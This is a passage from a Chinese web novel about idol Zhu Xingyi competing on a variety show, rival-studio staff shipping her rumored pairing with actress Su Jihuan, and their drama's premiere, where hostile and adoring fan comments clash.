游戏规则中，抢夺敌方金牌或者货物，可以给己方加分。除了基础任务，还有很多解谜小游戏可以获得积分，解谜小游戏先到先得，最后总体分数最多的一方获胜。 祝星亦提前看过地图，她出生在小亭子里，从这座花园里走出绕一条街道就可以和程偌菲碰面。所有嘉宾的主线任务都是一样的，都是要把自己相应的货物运送到皇宫里面。 摄像师在身后跟着，一举一动都会被记录，祝星亦必须要在自己表现良好的情况下堵住程偌菲。 她快步跑出亭子到花园出口三下五除二解谜，随后穿过一条街来到一个小店里抢先拿走金牌。 拿走后她便躲在小店里，静静等程偌菲进来。 摄像师跑了好久才找到祝星亦，祝星亦招招手让摄像师赶紧躲起来。 “你跑得也太快了。”摄像师小琴边喘气边说，“刚看到你你就跑没了，这什么速度啊！” “嘘，别打草惊蛇。”祝星亦比了个手势。 祝星亦蹲在楼梯道等程偌菲进来，等了一会儿，她听到脚步声逼近。 悄悄往外看，程偌菲果然进来了。 程偌菲一身素白的衣衫，额上有一层细汗，她抱着包袱小心翼翼走进小店寻找金牌。 她在店里绕了一圈没找到，正要出门时，转头看到死死盯着她的祝星亦。 忽然，祝星亦如猛虎一般从楼梯道里窜出来，程偌菲大呼不妙。 然而祝星亦快如闪电朝她冲来，以迅雷不及掩耳盗铃之响叮当之势抓住了她的衣袖。 说时迟那时快，祝星亦身形一闪，如鬼魅般欺身而上，反手精准夺过她怀中包袱，整套动作行云流水，一气呵成。 “星亦，你……”程偌菲去抓包袱，扑了个空。 一袭红衣的祝星亦抱紧包袱，长腿一迈出了小店。她转身回头，高马尾轻轻晃动，桃花眼里漾出狡黠的笑，“你想要的话，就跟我抢。” 她晃了下手里抢来的包袱，说完，这朵炽热的火焰奔跑起来。 白衣似雪的程偌菲看着那个火焰般的背影愣了会神儿，片刻后扬起唇角追了上去。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 我们的cp很好磕 祝星亦抱紧抢来的包袱似一抹灵动的赤色闪电，在蜿蜒曲折的古街小巷中飞速穿梭。她身姿矫健，脚步轻盈，一头利落束起的马尾随着奔跑的节奏欢快跳动，红衣猎猎飞扬，活脱脱像从武侠小说中跑出来的侠女。 小琴在后面紧追不舍，气都要喘不过来。她在这里录了几期，没见过这么猛的女嘉宾。抬头看那抹红色身影消失在拐角处，她深吸一口气，努力追了过去。 追着祝星亦的还有程偌菲。 距离越拉越远，程偌菲哪肯罢休，边追边提高音量喊道：“星亦，别跑！！” 她的声音在巷子里回荡，焦急又不甘。祝星亦仿若未闻，嘴角上扬，露出一抹阴险的笑，扭头冲她挑衅：“有本事就来追！追不上就是你没本事！” 祝星亦眼里闪烁着灵动的光芒，满是不羁与大胆。程偌菲追着，看到这朵红色流云飞一般跑了，有些泄气，又觉得有意思。 然而变故突生，话音未落，旁边阴暗狭窄的巷子里，几道黑影裹挟着凛冽寒光，如饿虎扑食般迅猛窜出，几个NPC刺客手持短刀道具来势汹汹，瞬间将祝星亦笼罩。 祝星亦却毫无惧色，眼神瞬间锐利如鹰，在刺客npc将至的刹那，她腰身一拧，如泥鳅般灵活地侧身一闪。 她的动作快得只留一道残影，npc的道具贴着她的衣角划过。紧接着，她脚掌轻点地面，借力一个漂亮的转身，跳到旁边的箱子上，身子一轻，竟从刺客们密不透风的包围圈缝隙中“飞”了出去。 整个过程行云流水，速度丝毫不减，眨眼间她又奔出数丈之远，一身鲜艳的红衣在巷子里极为夺目。 路人看到祝星亦好似使了轻功从刺客群中脱身，不禁感叹起来。 “天啊，我眼睛出现幻觉了吗？！她……她好像飞了出去！” “这个嘉宾好猛啊！她竟然会飞！” 这一幕让程偌菲也不禁愣神，不过她很快回过神来，咬咬牙，脚下步伐加快，再度发力追去。 小琴扛着沉重设备脸涨得通红，她在后面脚步踉跄，边跑边带着哭腔大喊：“天啊我简直要疯了，我真的跟不上了！” 小琴以前是在麦斯tv的一场旅行节目当摄影师，乐环看她体力好才把她喊到这个综艺。 前两期录制，小琴觉得跟拍就是洒洒水，但碰到祝星亦可真是让她头大。 从游戏开始到现在，这个祝星亦人都没停过，跑得快不说，反应也特别快，一转眼就没影了。 真不愧是选秀冠军，光是这个体力都要打败很多人了吧！小琴暗叹这爱豆真不是谁都能当。 正在飞奔着，祝星亦耳机里蓦地响起齐漫姝那带着哭腔又急切万分的求助声：“大星！郁黛那家伙太狠了，直接把我金牌和包袱都抢了！她跟发了疯似的，这会儿正往王府那里狂奔呢！你可得帮帮我！” 祝星亦回她：“知道了，交给我。” 王府方向与此径偏差不小，祝星亦当下不再犹豫，猛地改变方向，朝着王府一路狂飙。 程偌菲看她忽然朝另一个方向跑，心有疑惑，但没来得及多想，赶忙跟着跑了。 “老漫，你赶紧去解谜，我这边手里有程偌菲的包袱，等下把郁黛的包袱和金牌也抢了，积分就稳了。你这边和其他队友解谜拿其他金牌就行！”祝星亦赶忙给齐漫姝安排。 “行！你小心点！” 王府离得太远，时间有限，敌方也在紧赶积分。但无论是解谜还是金牌，都不如包袱的积分多，不然程偌菲也不会坚持不懈地追。 眼瞅着王府还远在天边，祝星亦心急如焚，余光瞥见路边园子围墙不高。 穿过这个园子就能快速赶到另一条街，时间紧迫，由不得多想，她心一横，牙关一咬助跑几步，而后猛地一纵身，如飞燕般轻盈翻过围墙，稳稳落在园子里头。 程偌菲和俩摄像师看呆了。 “什么鬼！翻过去了？！”小琴欲哭无泪，“我翻不过去啊！” 程偌菲踮脚往园子旁看了看，说：“她应该想去王府才抄了这条近路，我们翻不过去就走其他路。” 说完，程偌菲转过一条道朝王府的方向跑去。摄影师们只能跟着跑。 待祝星亦火急火燎赶到王府，只见庭院深深，雕梁画栋间透着股静谧。 郁黛应该还没到，不远处是解谜点，祝星亦正要过去解谜想拿点分数，抬眼一扫瞧见旁边那假山地势不高，但是个绝佳的隐匿点。 去解谜不如去埋伏。 她二话不说手脚并用，如灵猴攀树般敏捷，三两下就爬到了假山之上，红色的身子蜷缩在阴影里，大气都不敢出，静静等待时机。 一旁工作人员见此情形，惊得嘴巴大张，半晌才回过神来，忍不住扯着嗓子惊呼：“天啊，这还是女明星吗？这身手，蛙趣，长见识了！” “我的老天奶啊，又能跑那么快，还能爬这么高！这是要摄影师老命咯！” 片刻后，郁黛迈着嚣张的步伐进了王府，她满头繁杂的链条装饰随着动作叮叮当当响个不停，活像个移动的“珠宝展示架”。 进院后，她先是警惕地环顾四周，见无异样，便跑到解谜地点去解谜。没一会儿，随着一声清脆的提示音，她成功解开谜题。 积分到手了，手里又有敌方的包袱，郁黛不免得意了些，“不是吧，这也太简单了，我不是冠军谁是冠军？” 就在她得意瞬间，祝星亦瞅准时机，如同一团燃烧的烈焰般，裹挟着呼呼风声，从假山上一跃而下，身姿舒展又飘逸。 她稳稳落在郁黛身前几步远的地方，一袭红衣在阳光倾洒下，张扬又恣意，吓得郁黛尖叫起来。 程偌菲此时刚追到门口，目睹祝星亦从假山上跳下来，脚步下意识放缓。 “你是冠军？你是冠军那我是谁？”祝星亦趁着郁黛还沉浸在惊愕之中，一个箭步冲上前，双手如疾风般探出，瞬间将郁黛手中的货物和金牌一股脑全抢了过来，动作一气呵成，毫无拖沓。 郁黛回过神来，脸涨得紫红，气急败坏地大声咆哮：“喂，你偷袭我！有你这样玩的吗！” 她转头瞧见程偌菲跟了过来，冲着程偌菲怒吼：“程偌菲，你傻站着干嘛！没看见东西被抢了吗？赶紧抢回来啊！” 程偌菲被这一吼，眉头轻皱，她做势要追祝星亦，抬眼对上祝星亦满是狡黠灵动光芒的双眸，鬼使神差地，嘴角竟泛起一丝笑意，旋即又加快脚步追了上去。 而祝星亦此刻已如脱缰野马，狂奔途中，耳朵时刻留意着四周动静，眼睛像精准的雷达，但凡瞅见敌方稍有疏忽，便如旋风般席卷过去抢走对方物品。 一番激烈追逐后，她终于和齐漫姝以及队友米柔、许琳成功汇合。 齐漫姝满脸焦急：“大星，可算等到你了，急死我了！好害怕你应付不了那个郁黛！那郁黛忒不要脸了！” “我比她更不要脸，全抢回来了！”祝星亦拍拍她肩膀，安抚道：“别怕，有我呢！咱赶紧走！” “嗯！” 几人齐心协力，将抢来的“战利品”紧紧护在怀中，向着皇宫一路飞奔。 程偌菲随后追到皇宫，却见计分已经结束。 胜负已定，无奈之下，她只能慢悠悠踱步过去，冲祝星亦笑道：“你还真是厉害，我这一路紧追慢赶，竟还是完全抢不过你。” 祝星亦拿到分数，不免轻松了些，虽是累得气喘吁吁，脸上却挂着灿烂笑容：“哈哈，你也不差，是个值得一战的好对手。” 这时郁黛气势汹汹地冲了过来，满脸怒容，仿若要吃人：“祝星亦，你也太不给人面子了吧！我辛辛苦苦攒的东西，全被你一锅端了，哪有你这么霸道的！” 祝星亦擦了擦额头汗珠，不慌不忙回应：“郁黛姐，这可是比赛，讲的就是个竞争，我不抢你的，我队友也得抢，大家都为了赢，你得体谅，得输得起。” 郁黛一听更是火冒三丈，转头狠狠瞪向程偌菲，埋怨道：“程偌菲，你可别不认账，刚才是不是放水了？你那脚步虚浮的，哪像是全力在追祝星亦，别以为我看不出来！” 程偌菲面色一沉，冷冷地反驳：“放水？你可别血口喷人。这是比赛，关乎团队荣誉，我恨不得多长几条腿去追她，怎么可能放水？别输了就乱咬人。她可不是那么好追的人，还是说你自己没体会到？” 两人你一言我一语，互不相让，火药味十足，周围嘉宾赶紧上前劝解。 “跟她一组真是倒霉。”郁黛晃了下满头链子，不再搭理程偌菲。 “哎哎，看见了吧，人又菜脾气又大。”齐漫姝低声跟祝星亦吐槽，“当时她硬要抢我的包袱，差点把我推进池塘，真是气死我了。” “没事儿，我给你抢过来了。”祝星亦安抚她。 双方嘉宾集合后，主持人清点分数，高声宣布：“经过激烈角逐，计分统计完毕，获胜的是A队！恭喜A队！” “嘿嘿，赢啦！”齐漫姝高呼。 同为A队的常驻嘉宾李敏儿满脸兴奋，蹦蹦跳跳地揽着祝星亦脖子，亲昵道：“星星啊，你这身手，这反应，简直绝了！跟开了挂似的，妥妥就是一只耐力智力双爆表的小狐狸嘛！” A队的罗嘉灿也在一旁笑得合不拢嘴：“可不是嘛！多亏了我们的星星挣来这关键积分，毫无悬念，她就是本场的MVP，大家掌声响起来！” 祝星亦脸颊绯红，连连鞠躬致谢：“谢谢大家！今天这场游戏太刺激了，玩得超开心，希望能给大家带来欢乐，也请大家多多支持《寄明月》哟！” 李敏儿顺势跟着附和：“对对对，《寄明月》绝对是诚意巨作，大家一定要多多支持！期待星星在里头饰演的阿星，还有漫姝的宋小姐，咱们就等着追剧咯！” 祝星亦礼貌笑着拍手，齐漫姝跟祝星亦挤眼，“大星，你也太强了！完全把风头抢了过来！” 祝星亦凑在齐漫姝耳边说：“这就是冠军的实力，《寄明月》必爆。” 节目录制圆满结束，众人拖着疲惫身躯前往酒店用餐。 齐漫姝一进餐厅就亲昵地挽上祝星亦胳膊，满脸崇拜：“大星我跟你说，今天你这表现，到时候节目播出，镜头不围着你转都天理难容！嘿嘿，热搜预定，话题不断，你的热度绝对要爆！那些网友保准被你这股子机灵劲儿迷得七荤八素！” 祝星亦歪头一笑，心中却暗自思量。 虽说这一番争抢出尽风头，可难免会招来非议，指不定节目播出就被骂得狗血淋头。但在这流量为王的娱乐圈，热度就是一切，那些骂声暂且顾不上了，走一步看一步吧。 酒足饭饱，众人陆续走出酒店。 祝星亦刚要与齐漫姝携手登车，就见程偌菲款步走来。 她不太喜欢与程偌菲多交流什么，想到程偌菲与苏寄欢便头疼，但今天游戏的获胜让她有些得意。 罢了罢了，还是要应付一下。 程偌菲率先打招呼：“星亦，这就准备回去啦？” 祝星亦微微颔首：“嗯，录制一天累坏了，我们打算先回酒店好好休整。” 程偌菲微微摇头：“可惜了，我们行程不同，不顺路，不然还能一道聊聊。” 祝星亦礼貌回应：“那确实不巧，你路上也注意安全。” 祝星亦说完便欲转身。 程偌菲却似还有话说，再次出声唤住她：“星亦，你和苏总最近是在炒CP吧？” 祝星亦坦然承认：“是啊，5月份待播剧扎堆，剧宣压力山大，炒CP也是无奈之举，着实麻烦苏老师了。” 程偌菲嘴角微扬笑意盈盈：“苏总可不见得觉得麻烦，说不定心里还乐意得很。” “她对工作挺上心的，卖cp这个事……”祝星亦刚要继续说下去，程偌菲打断她。 “我是说，是她自己乐意，不是因为工作。”程偌菲靠近两步，压低声音：“苏总应该很喜欢和你卖cp，因为她挺喜欢你的。” 祝星亦愣住，“什么？” 程偌菲撩了下发，颔首道：“没什么，就字面意思。我过段时间又要扎进剧组忙活了，你要是有空，欢迎来剧组串串门，《寄明月》我肯定也会帮忙卖力宣传，希望它大火。” “好，谢谢。” “我先走了。” “慢走，不送。”祝星亦目送程偌菲离开。 苏老师，挺喜欢我？祝星亦站在原地，不清楚程偌菲的那番话到底是什么意思。 齐漫姝在车里等得不耐烦，摇下车窗催促：“大星，磨蹭啥呢，走不走啊？” 祝星亦猛地回神，应道：“好嘞，这就来。” 言罢，快步上车，车子缓缓启动，驶入夜色之中。 /// “这都是什么鬼东西！”罗瑜猛地将手中的资料狠狠摔在会议桌上，她怒目圆睁，腮帮子气得鼓鼓的，“这种数据你们也敢端上来！” 麦斯TV的剧宣总监单梓彤见状，赶忙上前迅速收起资料，她身体前倾弯着腰，脸上堆满了赔笑：“罗姐，您消消气，剧还没播呢，这些热搜不算什么。” “还找理由？你们都是干什么吃的，啊？资金没给够还是你们压根就没放在心上？！”罗瑜双手用力拍向桌面，“砰”的一声巨响，震得桌上的纸杯都跟着跳动了几下，她的胸脯剧烈起伏，大声吼道，“这么热的题材，关注度这么高的剧，临开播了上的热搜还没对家一半多。” 说着，罗瑜俯身弯腰，一把抓起桌上的遥控器，修长的手指急促地按了几下，显示屏上快速闪过《寄明月》的短视频热度和相关话题讨论的数据页面。 她把遥控器重重地按在桌上，食指用力敲着显示屏，额头上的青筋微微凸起，怒声斥道：“投了那么多dou＋，播放量还不如她们的点赞量，到底干什么吃的！怎么做的运营，啊？怎么做的策划，怎么执行的？你们麦斯是不是不想干了！” 此刻麦斯TV的剧宣部门会议室里，气氛压抑得如同暴风雨来临前的低气压。 运营人员一个个像霜打的茄子，纷纷低垂着头，大气都不敢出，静静听着晏瑾年的经纪人大发雷霆。 旁人也就罢了，怎么都能勉强应付过去，可晏瑾年实在不好对付。这位[晏影娱乐］的大老板、晏氏集团大小姐、多金影后，作品又刚好要和对家对打，方方面面都让人头疼不已。 周艺轩悄悄抬手抹了一把额头上细密的汗珠，偷偷抬眼瞄了一下发飙的罗瑜，随即又赶紧低下头去。 她三月份才入职麦斯TV运营部，本想着金三银四求职季找工作容易，果然让自己进了大公司，满心憧憬着熬过三个月试用期，就能舒舒服服享受大厂生活，谁能料到偏偏碰上《辞旧赋》这个棘手的项目。 这部剧可是麦斯TV第二季度的主推剧，肩负着和达尼视频一较高下、抢夺流量的重任。有晏瑾年这样的大咖主演，还有多名当红艺人参演，原著本就大热，又有爆剧导演吴娜兰坐镇，起初大家都觉得稳拿玉桂奖是十拿九稳的事儿。 可谁能想到半路杀出个《寄明月》，势头猛得不像话。 《寄明月》原著不过*是本不怎么热门的女无cp小说，还是单元剧形式，主演阵容里除了苏寄欢这个知名的实力影后撑场面，其他角色不是年轻青涩的艺人，就是名不见经传的冷门艺人，二番甚至是个毫无演戏经验的新人爱豆…… 乍一看，这部剧妥妥一副扑街相，题材没亮点，剧情也无趣，谁能料到热度竟然高到炸裂，轻轻松松就把《辞旧赋》播前热度给压了下去。 周艺轩这些日子简直焦虑到了极点，天天为这个剧加班熬夜，组里的同事们恨不得直接睡在公司。 她满心担忧，要是这个项目搞砸了，晏瑾年怪罪下来，自己这试用期可就悬了。 唉，算了，真要是因为《辞旧赋》被辞退，大不了转头去达尼那边应聘，总不能在麓城饿死吧。 “我告诉你们，没多少时间了。520前后，《辞旧赋》的数据要是还这样，你们这个组就原地解散，全都别干了！”罗瑜狠话撂下，气呼呼地摔门而出。 单梓彤脸色惨白如纸，一屁股瘫坐在椅子上。 《辞旧赋》运营组长邱涵双手抱头，嘴里不停地嘟囔抱怨：“怎么什么都怪我们？自己的剧好不好看，心里没点数吗？这题材都被拍烂了，套路化严重，光制作水准高有啥用？一点看点都没有！” “晏瑾年和那个男主，演对手戏的时候简直就像不在一个图层里。她演她的，他演他的，光看剪辑觉得是电影质感的好剧，可实际上剧情真没意思！”单梓彤双手用力拍着桌子，身子气得直发抖，“而且，男女主毫无磕点啊，原著好磕得很，可剧本都被晏瑾年改得面目全非，硬剪都剪不出什么好东西。” “是啊……她就是看古偶火才来演的，但是又放不下身段。电影里她能当唯一主角，古偶剧里她却还只想突出自己，好好的爆火小说，愣是拍成现在这副模样。” “关键是她和男主太难磕了！她看男主那眼神，跟看垃圾似的……哪里还有原著的半分甜蜜，我还不如磕[月星百万］呢。” [月星百万］是《寄明月》里顾明月和阿星的CP，剧里两人互动甜到掉牙，剧外的苏寄欢和祝星亦更是让人嗑得上头。 一个是选秀冠军，明艳动人的爱豆，一个是实力影后，高岭之花般的存在，颜值、身高差堪称完美搭配，无论是拍戏时的氛围感，还是日常相处的小细节，都般配得要命。 传言两人早就是实打实的师徒关系，网上还流出不少模模糊糊却甜度超标的照片，那相处模式，甜得让人忍不住嘴角上扬，很难不让人嗑。 周艺轩原本黯淡的双眼瞬间放光，忙不迭地抬头冲着同事兴奋大喊：“啊啊啊！你也磕[月星百万］啊！” 同事笑着点头：“是啊，我以前从来不磕双女主的，可[月星百万］真的太好磕了。剧里面好磕，剧外更好磕，我都跟团买二创周边了。也不知道她们官方会不会出周边，呜呜呜，我这个只吃官谷的人都开始买同人谷了，希望官方能上道点！” “我也磕！！”另一同事高高举起手来，“《寄明月》热度能起来真不冤！她们整个剧组氛围特别好，不像《辞旧赋》，晏小姐根本不配合和男主炒作，男主那边自己炒也没人搭理，尴尬得要命。” 邱涵也跟着附和：“我都不知道原来你们也磕！我可太磕了！不过我磕的是真人，真人比剧好磕一百倍好不好！” 单梓彤眉头瞬间拧紧，形成一个深深的“川”字，怒声喝道：“你们这是在干什么？磕对家的CP？都给她们贡献热度，咱们自己的项目做不好，是要被问责的！” “可是她们真的好好磕啊啊啊！” “单总监我跟您说真的，您要是磕，保准也上头，她们的CP火得不行。”邱涵说着，麻溜地把[月星百万］超话内容投屏到大屏幕上，手指点着屏幕指给单梓彤看。 接着，邱涵又点开一条视频，画面里，骏马上，祝星亦小鸟依人般坐在苏寄欢怀里，苏寄欢稳稳地带着祝星亦策马奔腾，两人衣袂飘飘，美得如同古代画卷里走出来的仙子。 一个同事迫不及待地举手抢答：“我听说这都不算正式花絮。剧里面祝星亦本来没有骑马戏份，这是苏寄欢主动教祝星亦骑马呢。她们在片场那叫一个亲密，拍完剧又一块儿上综艺，前段时间还结伴去旅游，甚至同住一间房！天啊！这跟谈恋爱有啥区别！！” 周艺轩见这么多人都在嗑，也赶忙分享小道消息：“我有朋友和《寄明月》剧组的工作人员熟得很，特意帮我问了，工作人员说她们俩私下相处甜到齁！比咱们看到的还要甜上一百倍！工作人员自己在片场的时候就开始嗑了，还让咱们放心嗑，说绝对包甜！” “要不是真谈了，无CP的剧怎么能演出这CP感啊！”邱涵眼里哪还有半分小组解散的担忧，满满的全是嗑CP的光芒，激动地嚷嚷，“她们绝对谈了！绝对谈了！！” “我也有小道消息，听说她俩都见过父母了，过不了多久就得订婚。” “真的假的？” “绝对真的，我有照片和聊天记录，发群里了，你们自己看。” “天啊，她们真的会结婚吗？” “肯定会结！苏菱女士可满意星星了，听说过年都一起吃年夜饭呢。” “我也听说了！大年初二苏小姐还带着星星回娘家了！” “你们不知道吧，星星和苏小姐元旦那天一起去买三金了，周大福的店员都拍到她们了。” “好家伙，你们这些消息也太滞后了，她们之前就订婚了，还邀了业内人士参加，拿[拜师宴］打掩护呢。” “不会吧！我第一次磕双女主就磕到真的了！！” “你们给我……”单梓彤攥紧拳头，重重地敲着桌子，“停下！！！” 这一嗓子下去，一屋子人瞬间噤若寒蝉。 单梓彤满脸怒容，大声吼道：“磕磕磕，磕什么啊！合着她们的热度有一半是咱们贡献的是吧！那是对家！是对家啊！你们到底能不能分清主次？啊？项目做不好，季度奖金全清零！” 第72章 我们的剧首播了 邱涵长叹一声，哀嚎道：“我怎么这么倒霉啊！麦斯当初咋就不把《寄明月》买过来呢！！” 单梓彤看着邱涵这副模样，气不打一处来，拿起手头的资料狠狠拍在邱涵头上，咬牙切齿道：“你身为组长还带头磕？晚上加班，周末也别想闲着！” “老天奶啊，我真的是不想活了！”邱涵哭丧着脸抱怨。 凌晨两点，单梓彤带着强烈的好奇心点开一篇[月星百万］同人文——《生长痛[月星百万］BE》 【她透过那扇门偷望那个冷峻的身影，像瑟缩在杂乱草丛的鼠窥视不属于那具孱弱身躯的春天。 飘浮在空中的微生物像玻璃片压得紧实的饼干渣，片刻后尖锐的声音响起，她抖了抖小小的身子，挤压过身旁的空气，掐灭那捧好不容易燃起的火焰。 苏寄欢，苏寄欢，她又听到那些人喊那个人的名字，指尖忽然像是被什么利器割了，很快，疼痛从骨缝里炸开，难以开口求助的闷痛在心脏里扎根，随着心跳一次次地往其他脏腑里扎去。 眼泪濡湿的呜咽和不肯停止的叫嚣，迫得怯懦和沉默不断地割伤她，她逐渐觉得那些痛楚……】 凌晨六点，单梓彤抱着手机边看《爱人错过[月星百万］BE》边流眼泪。 【苏寄欢记得自己是什么时候遇见她的，每次都会跟她主动提起这件事，大大小小的细节都要复述出来。 “那你说，你是不是那时候就喜欢我了。”她问。 苏寄欢揉她的头，在她耳边轻声说：“当然，所以努力把你追到手了。” …… “姐姐，请忘记我。” 她离开了，她消失在十二月的大雪里。 她没再回头。】 泪水打湿了单梓彤的充电线，她边哭边喃喃：“苏苏星星，你们不要BE啊！求求你们不要BE啊呜呜呜呜……” 次日，单梓彤找到周艺轩，“小周，昨天小琪说的什么[月星百万］同人谷？那是啥东西啊？” 耳尖的小琪举手：“单总监！我给你发链接！只要你磕[月星百万］，我们就是永远的朋友！” “好嘞！” /// 苏寄欢微博超话—— {@苏苏的小雨点｝： #寄明月520首播去年夏天的约定，在这个初夏赴约。感谢达尼视频官方的邀请，今晚和@棠棠酥芽@文子苏呀酥一起去前排和苏苏@苏寄欢见面啦～@苏寄欢工作室 【图片：首映礼门票】 【评论区】—— [这个初夏，相约达尼看#寄明月520首播］ [抢到首映典礼的票了，今晚和一起去见苏苏啦～］ [和@苏寄欢看明月初升#寄明月520首播］ [啊啊啊啊姐姐！我也想去看姐姐！！］ [向前走，你从不缺成为光的勇气，酥芽永远在你身后，我们永远被你照亮@苏寄欢］ [永远喜欢姐姐@苏寄欢］ {@苏寄欢工作室｝ #寄明月520首播心有千千结，遥寄星与月。今晚相约@达尼视频一起看《寄明月》@苏寄欢 【图片：《寄明月》星月剧照】 【评论区】—— [土猪脸帮忙打码，看了她的脸我能吐十天］ [@苏寄欢工作室被十八线艺人吸血成这样还不管吗？唯粉连发声的地方都没有吗？卡属性不让我们买票，你们真打算把姐姐祸害死吗！！］ [姐姐不是某些人的血包，请个人工作室宣传时不要放其他人的照片］ [死跌祝星亦能不能滚呐，除了吸姐姐的血还能干什么！］ [求和见货的解绑教程，苏苏真的要被某猪吸血吸死了］ [已经到达达尼视频《寄明月》首映礼现场，让我们一起期待姐姐吧］ [首映礼现场的酥芽，典礼结束记得来二楼大厅领物料哦］ [请不要在工作室下面讨论其他艺人，专注自家］ [peaceandlove……］ [求某猪家放过苏苏，你家那咖位给苏苏舔脚都不配］ [崩如溃，死猪吸完血卖完cp就飞升了，可怜姐姐被祭天］ …… 达尼视频大楼五楼，《寄明月》首映礼现场，工作人员穿梭于各个角落，一丝不苟地进行着例行检查。工作人员不时现身舞台谨慎核验每一项参数，确保所有设备都处于最佳运行状态。 台下粉丝们手持应援物，交头接耳间难掩兴奋，明亮的眼睛不时望向舞台，媒体记者们则严阵以待，手中的相机、录音设备早已准备就绪。 二楼大厅处，主演的粉丝们精心布置了周边领取处，五彩斑斓的海报、精致小巧的徽章、设计独特的明信片堆积如山。只需凭票根，便能领取精美物料。 景雨初在五楼门口等了会儿，梁韵文和温晚棠过来后，她招呼两人进去。 “我这边都核对好人员了，并没有激烈的唯粉来现场。”景雨初神色平静，话语沉稳。 梁韵文却皱眉轻声叹道：“就怕她们会伪装，几轮筛选她们都不死心，现在还在超话和广场上闹呢。” 剧宣前期，工作室配合达尼剧宣组一起炒苏寄欢和祝星亦的cp，从[月星百万］cp出来，部分粉丝的反感情绪太过强烈，景雨初这边再安抚也不顶什么用。 激烈的唯粉和毒唯铁了心地要找工作室麻烦，苏芙那边的电话都被打爆了。 提及娱乐圈中梦女、毒唯云集之地，苏寄欢的粉丝阵营绝对堪称“重灾区”。一旦踏入那片狂热的[酥芽］圈，只需轻轻唤一声苏寄欢“姐姐”，便能瞬间被这个圈子强大的魔力蛊惑，死心塌地，倾尽所有热忱。 这份死心塌地，在[月星百万］cp爆火之后，却化作一腔怨愤。 她们将矛头纷纷指向祝星亦，怒骂声不绝于耳，甚至连苏寄欢也未能幸免。她们指责苏寄欢背叛她们，指责苏寄欢眼光不好。 她们对苏寄欢的失望，源于苏寄欢往昔从不涉足cp炒作，如今却为了祝星亦毫无顾忌地大肆营销cp，将粉丝的感受弃如敝屣。 被爆料的二人相处的甜蜜细节，在粉丝眼中不是糖，而是伤人的利刃。也正因如此，祝星亦惨遭炮轰，被骂得狗血淋头。 两家粉丝的掐架惨不忍睹，[星海］完全处于劣势地位，被[酥芽］揪着头发破口大骂。 景雨初早就做好了准备，但看到[酥芽］以绝对压制的实力攻击祝星亦和[星海］，不免有点心疼被攻击的她们。 当然，景雨初简直不敢想象有一天祝星亦和苏寄欢的恋情被曝光后，祝星亦又会遭受怎样的攻击。 “保护好苏苏和嫂子吧。”景雨初抱紧手中相机，似要将担忧也一并藏入怀中，随后稳步迈进首映礼大厅，“棠棠，你那边和[星海］对接过了吗？” “对接过了，她们那边比较平和，大粉说排查过了，没什么问题。” 景雨初眉头轻蹙，眼中疑虑未消，轻声叮嘱：“还是要注意下，嫂子连工作室都没有呢，[星海］粉丝圈又是几个高中生、大学生运营的，我对她们不太放心。” “应该没事，第一集播完就是现场互动，安保措施很好，放心吧。” “行。” 首映礼的流程很简单，19：00准时一起看剧。台上的大屏和imax影厅没什么区别，扫码可以发实时弹幕，并能触发首映礼惊喜彩蛋，同时大家也能看到达尼视频用户的弹幕，这叫景雨初有点担心。 若是只能看到现场人发的弹幕还好，但是还要看视频用户的弹幕…… 那弹幕得吵多凶啊。 景雨初只希望路人能多发点弹幕，以便掩盖住双方粉丝的弹幕。 [月星百万］cp大火，非粉路人磕生磕死，剧还没播就有许多二创出来。 景雨初只得感叹，好在苏寄欢和祝星亦是真情侣，两人的日常很甜很好磕，路人粉磕得快乐，这热度自然就上来了。 如果不是因为二人的cp，说不定《寄明月》的热度还没有那么大。 19：00一到，整个大厅安静下来，灯光也暗了，大屏上开始播放《寄明月》第一集的内容。 朝暾初照，顾府朱门在晨色里庄穆而立，门轴轻转，家奴手执笤帚轻拂石板路，尘灰漫舞，簌簌落于阶旁花丛。挑水小厮担颤悠悠，水纹晃漾，洇湿一路青砖。 弹幕： 【顾家真大啊，我们明月真是养尊处优的大小姐呢】 【苏苏什么时候出场？】 【只为苏苏来～】 【[酥芽］列队点赞】 【星星，妈妈来看你了】 【[星海］列队点赞】 顾家千金顾明月居所独踞一隅，清幽雅致。墙下修竹数丛，风过叶响，似有清韵流。正屋前一架紫藤垂蔓，馥郁幽微。窗棂雕花细腻，日光透隙，于屋内地上织就光影拼图。 “小姐！小姐！”清脆的声音传来。 【啊啊啊啊！星宝！星宝来了！】 【星宝星宝，我们喜欢你，我们喜欢喜欢喜欢你】 【吸血猪来咯】 【前面的，能不能好好说话】 阿星蹦跳着入了院子，双丫髻间珠翠熠熠，红珊瑚珠圆润，翠玉簪玲珑剔透，垂下细碎珠络叮叮作响。一袭浅粉襦裙柔美飘逸，裙摆绣着细密碎花，将她那张明艳小脸衬得愈发娇俏。 她哪里像个寻常丫鬟，比一些富家小姐都要富贵几分。 【妈妈呀！星星好漂亮啊啊啊啊！】 【[星海］入圈第一天～】 【星星盛世美颜不是吹的，真的美得让我窒息】 【不儿，你跟我说这是丫鬟？逗呢？】 阿星大步踏进顾明月闺房，眼看青丝散枕的顾明月还在锦衾酣睡，她急趋床榻，三两下爬上床，小手推着顾明月的肩，软糯撒娇：“小姐，您可允了今儿带我去城南庙会的，快起嘛～” 顾明月翻了个身嘟囔：“我没说。” 【哈哈哈爬床了！】 【小丫鬟爬了小姐的床，爬了就别下来了】 【呃……这个丫鬟这么没规矩吗？说爬主人床就爬了？】 【开局就床戏！这是我能看的吗？】 【死猪别碰苏苏！】 【星宝好可爱，妈妈亲亲】 【苏苏你赖床了哈哈哈】 【星星你也跟我撒娇好不好呜呜呜】 阿星柳眉一蹙，双手攥紧锦被发力拉扯，不想脚下被顾明月的长腿一绊，整个人失控扑去，直直趴在顾明月身上，撞得顾明月闷哼出声。 “阿……星！”顾明月惺忪的眼瞪得老大。 阿星欲起，挣扎着要坐起来，“小姐你快起……嗷！” 不想，阿星刚挣扎，人又倒了下去。 “阿星！你摸哪里呢！” “小姐我不是故意的！” 【星星你摸哪里了！】 【死猪别碰我家姐姐啊！】 【哈哈哈哈这居然是个搞笑剧！】 【请问为什么不直接来个吻戏呢？编剧你会不会写剧本！】 【我一开门就看到阿星和顾明月颠鸾倒凤不知天地为何物，阿星的赤色肚兜还挂在顾明月的脖子上呢】 【苏苏你又幸福了】 【她俩平常睡一屋吗？】 【贴身丫鬟应该会跟着一起睡吧】 二人在床上乱作一团，顾明月无奈轻叹：“行行，我起来。” 说着，她坐了起来，一头墨发如瀑垂下。 